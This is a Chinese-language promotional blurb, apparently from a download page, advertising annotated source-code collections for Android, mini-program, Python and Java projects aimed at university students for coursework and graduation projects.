提供的源码资源涵盖了安卓应用、小程序、Python应用和Java应用等多个领域,每个领域都包含了丰富的实例和项目。这些源码都是基于各自平台的最新技术和标准编写,确保了在对应环境下能够无缝运行。同时,源码配备了详细的注释和文档,帮助用户快速理解代码结构和实现逻辑。 适用人群: 这些源码资源特别适合大学生群体。无论你是计算机相关专业的学生,还是对其他领域编程感兴趣的学生,这些资源都能为你提供宝贵的学习和实践机会。通过学习和运行这些源码,你可以掌握各平台开发的基础知识,提升编程能力和项目实战经验。 使用场景及目标: 在学习阶段,你可以利用这些源码资源进行课程实践、课外项目或毕业设计。通过分析和运行源码,你将深入了解各平台开发的技术细节和最佳实践,逐步培养起自己的项目开发和问题解决能力。此外,在求职或创业过程,具备跨平台开发能力的大学生将更具竞争力。 其他说明: 为了确保源码资源的可运行性和易用性,特别注意了以下几点:首先,每份源码都提供了详细的运行环境和依赖说明,确保用户能够轻松搭建起开发环境;其次,源码的注释和文档都非常完善,方便用户快速上手和理解代码;最后,我会定期更新这些源码资源,以适应各平台技术的最新发展和市场需求。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值